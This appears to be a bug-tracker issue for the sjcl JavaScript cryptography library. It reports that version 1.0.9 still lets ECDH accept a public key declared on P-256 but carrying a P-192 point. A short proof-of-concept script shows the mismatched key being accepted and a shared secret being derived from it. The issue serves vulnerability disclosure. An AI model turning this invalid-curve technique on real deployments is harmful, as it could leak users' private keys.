#446·sjcl

ECDH doesn't verify off-curve points

Author: paulmillrCreated Aug 27, 2026Updated Aug 27, 2026

1.0.9 did not fully fix off-curve ECDH issue:

javascript
const sjcl = require("./sjcl.js");
global.sjcl = sjcl;
require("./core/bn.js");
require("./core/ecc.js");

const secret = new  sjcl.bn("0x124456789abcdef");
const victim = new  sjcl.ecc.elGamal.secretKey(
 sjcl.ecc.curves.c256,
 secret
);

// "P-256", but contains a P-192 point.
const maliciousKey = new sjcl.ecc.elGamal.publicKey(
 sjcl.ecc.curves.c256,
 sjcl.ecc.curves.c192.G
);
console.log("declared:" , sjcl.ecc.curveName(maliciousKey._curve));
console.log("actual:  " , sjcl.ecc.curveName(maliciousKey._point.curve));

// no curve-identity check during ECDH.
const derived = victim.dh(maliciousKey);
const expected = sjcl.hash.sha256.hash(
 sjcl.ecc.curves.c192.G.mult(secret).toBits()
);
console.log("accepted:" , sjcl.bitArray.equal(derived, expected));
console.log("secret:  " , sjcl.codec.hex.fromBits(derived));